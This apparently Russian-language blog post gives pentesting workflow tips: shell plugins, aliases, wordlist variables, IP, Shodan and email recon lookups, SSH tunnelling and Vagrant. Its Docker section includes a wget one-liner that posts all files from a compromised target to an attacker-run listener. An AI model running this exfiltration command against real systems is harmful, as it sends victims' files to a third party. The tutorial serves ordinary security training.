Pentest трюки, которые упростят Вам жизнь

Pentest трюки, которые упростят Вам жизнь

Debian-Lab

В этой статье я лично задокументирую для Вас несколько небольших техник, команд и мелочей, которые точно облегчат Вашу повседневную жизнь в качестве пентестера, и которые просто сделают Ваше времяпровождение во время пентестера более приятным!

ZSH vs Bash, Aliases, Docker

ZSH

Одной из вещей, которая серьезно повлияла лично на мою продуктивность была ZSH, а точнее, такие плагины, как "Z".

ZSH в сочетании с oh-my-zsh и включенным завершением smart tab делает навигацию по каталогам в вашем терминале намного более приятной и быстрой.

С моими текущеми настройками, я могу просто написать cd d/p/ad, нажать tab, и команда автоматически будет превращена Documents/Pentest/AD/. Это один из ZSH плагинов которые я использую - "Z".

"Z" проанализирует историю ваших каталогов и выяснит, в какие каталоги вы заходите чаще всего. После нескольких часов работы, набрав z pentest  вы попадете в свой каталог pentest, z someproject  приведет Вам туда куда Вам надо независимо от того, где вы находитесь.....

Это трудно объяснить, но это магия 🔮

Aliases

Чтобы улучшить Ваше времяпровождение в оболочке, в Вашем .zshrc or .bashrc (scum), Вы можете указать свой alias, alias установит имя команды на все, что вы захотите.

Например:

alias nmap="grc nmap"

GRC раскрашивает приложение cli, это сделает nmap очень красивым и сделает ответы читабельней! Разве это не магия?)

Если вы дружите с оболочкой Linux, вы также знаете, что вы можете установить переменные используяEXPORT.

gobuster -w $BIG -u https://10.10.10.145/

export DIRS_LARGE=/pentest/seclists/Discovery/Web-Content/raft-large-directories.txt
export DIRS_SMALL=/pentest/seclists/Discovery/Web-Content/raft-small-directories.txt

export FILES_LARGE=/pentest/seclists/Discovery/Web-Content/raft-large-files.txt
export FILES_SMALL=/pentest/seclists/Discovery/Web-Content/raft-small-files.txt

export BIG=/pentest/seclists/Discovery/Web-Content/big.txt

Установка этих каталогов позволит Вам получить к ним доступ, используя их псевдоним, например, в приведенном выше примере, где мы используем gobuster с $BIG, к использованию их полного пути. Это небольшой но хороший совет, так как он не только превращает длинную команду в одну строку, но и означает, что вам больше не нужно запоминать и вводить весь путь списка слов каждый раз, когда вам нужно - что, поверьте мне, может очень увеличить Вашу работоспособность, если вы регулярно перечисляете HTTP.

Docker:

Один из моих любымых трюков для Докера это:

alias postfiledumphere='docker run --rm -it -p80:3000 -v "${PWD}:/data" rflathers/postfiledump'  

Выполните эту команду и разместите дамп файла, а затем на вашей целевой машине (в hack the box или remote reverse shell) выполните следующее:

ls | xargs -I{} wget http://10.10.14.3/{} --post-file {}

Это приведет к перебору всех файлов в локальном каталоге и передаче их по протоколу HTTP. Это чрезвычайно полезно, если вы находитесь во встроенном устройстве или даже в заблокированном контейнере. Если у вас нет wget, вы можете использовать curl (который по дефолту есть в большинстве устройств).

Situational Awareness with IP’s

Если вам дали IP-адрес, и вам нужно узнать информацию об уязвимостях на нем, Вы с помощбю нижеприведенных команд, можете получить довольно хорошее представление о типе хоста, где он находится и что он делает.

IPInfo

Обычно, если мне дают IP-адрес, я делаю поиск с помощью ipinfo:

curl ipinfo.io/54.90.107.240
{
  "ip": "54.90.107.240",
  "hostname": "ec2-54-90-107-240.compute-1.amazonaws.com",
  "city": "Virginia Beach",
  "region": "Virginia",
  "country": "US",
  "loc": "36.8512,-76.1692",
  "org": "AS14618 Amazon.com, Inc.",
  "postal": "23465",
  "readme": "https://ipinfo.io/missingauth"
}

IP Info вернет JSON с подробной информацией обо всем хосте, самое замечательное в этом то, что вы можете легко написать его по конвейеру в jquery.

Я склонен злоупотреблять bash для циклов такого рода, напримерен, если у Вас есть, большой список IP-адресов то вот, что Вы можете сделать:

for ip in $(cat ips.txt); do echo -n "$ip: "; curl -s ipinfo.io/$ip | jq .org; done
54.90.107.240: "AS14618 Amazon.com, Inc."
54.90.107.120: "AS14618 Amazon.com, Inc."
54.90.107.241: "AS14618 Amazon.com, Inc."
54.90.107.242: "AS14618 Amazon.com, Inc."
54.90.107.243: "AS14618 Amazon.com, Inc."

Shodan

Вы, наверное, знаете о Шодане, но я просто обязан был упомянуть о нем для тех, кто еще не знает, так как это очень ценный инструмент.

Шодан постоянно сканирует все хосты в интернете. Это означает, что вы можете выполнить поиск хоста и посмотреть, что у него есть на данный хост.

shodan host 216.58.210.206
216.58.210.206
Hostnames:               mrs04s09-in-f206.1e100.net;lhr48s11-in-f14.1e100.net
City:                    Mountain View
Country:                 United States
Organization:            Google
Updated:                 2019-08-17T19:28:38.408716
Number of open ports:    2

Ports:
     80/tcp  
    443/tcp  
 |-- SSL Versions: TLSv1, TLSv1.1, TLSv1.2, TLSv1.3

Email Recon

Небольшая хитрость, которая очень быстро выполнит проверку адреса электронной почты с помощью Email Recon:

curl emailrep.io/john.smith@gmail.com
{
  "email": "john.smith@gmail.com",
  "reputation": "high",
  "suspicious": false,
  "references": 91,
  "details": {
    "blacklisted": false,
    "malicious_activity": false,
    "malicious_activity_recent": false,
    "credentials_leaked": true,
    "credentials_leaked_recent": false,
    "data_breach": true,
    "last_seen": "07/27/2019",
    "domain_exists": true,
    "domain_reputation": "n/a",
    "new_domain": false,
    "days_since_domain_creation": 8773,
    "suspicious_tld": false,
    "spam": false,
    "free_provider": true,
    "disposable": false,
    "deliverable": true,
    "accept_all": false,
    "valid_mx": true,
    "spoofable": true,
    "spf_strict": true,
    "dmarc_enforced": false,
    "profiles": [
      "lastfm",
      "pinterest",
      "foursquare",
      "aboutme",
      "spotify",
      "twitter",
      "vimeo"
    ]
  }
}

SSH Tunelling

Если Вы когда-либо выставляли порт сервера команды CobaltStrike извне и рассказывали об этом людям, вы получите много ненависти. Каково же решение? SSH - туннелирование.

Если у вас есть SSH-доступ к хосту, вы можете туннелировать порты (сопоставлять удаленные порты с локальными), динамически создавать SOCKS-прокси и многое другое.

Mapping remote port to local port

ssh -L localport:127.0.0.1:remoteport user@host

Хороший повод, чтобы подумать о синтаксисе SSH-туннелей и наконец-то разделить его на две части

ssh -L 127.0.0.1:8080:127.0.0.1:80 user@host

Это откроет локальный порт 8080, сопоставленный с портом 80 на удаленном сервере. К счастью для нас, SSH добр, поэтому сделаем вывод, что первый хост является локальным.

Opening a SOCKS proxy that routes from your server

SSH -D 8080 user@host

Данная команда откроет SOCKS-прокси на локальном порту 8080, вы можете изменить свой proxychains.conf, чтобы принять этот порт, а затем использовать proxychains перед каждой командой для маршрутизации трафика через данный хост.

Vagrant

Это классный маленький трюк, которому я научился, но сильно облегчил мне жизнь.

Как и Docker, vagrant может запускать экземпляры операционных систем и помещать вас в интерактивную оболочку.

Мой любимый - использование Ubuntu:

vagrant init hashicorp/precise32
vagrant up
vagrant ssh
cd /vagrant/

Вы будете перемещены в точную оболочку Ubuntu!

Подведя итоги

В заключение скажу, что трюки которые мы сегодня разобрали, действительно могут облегчить Вашу жизнь в качестве пентестера.

⏳ Наш основной канал - @debian_lab



Report Page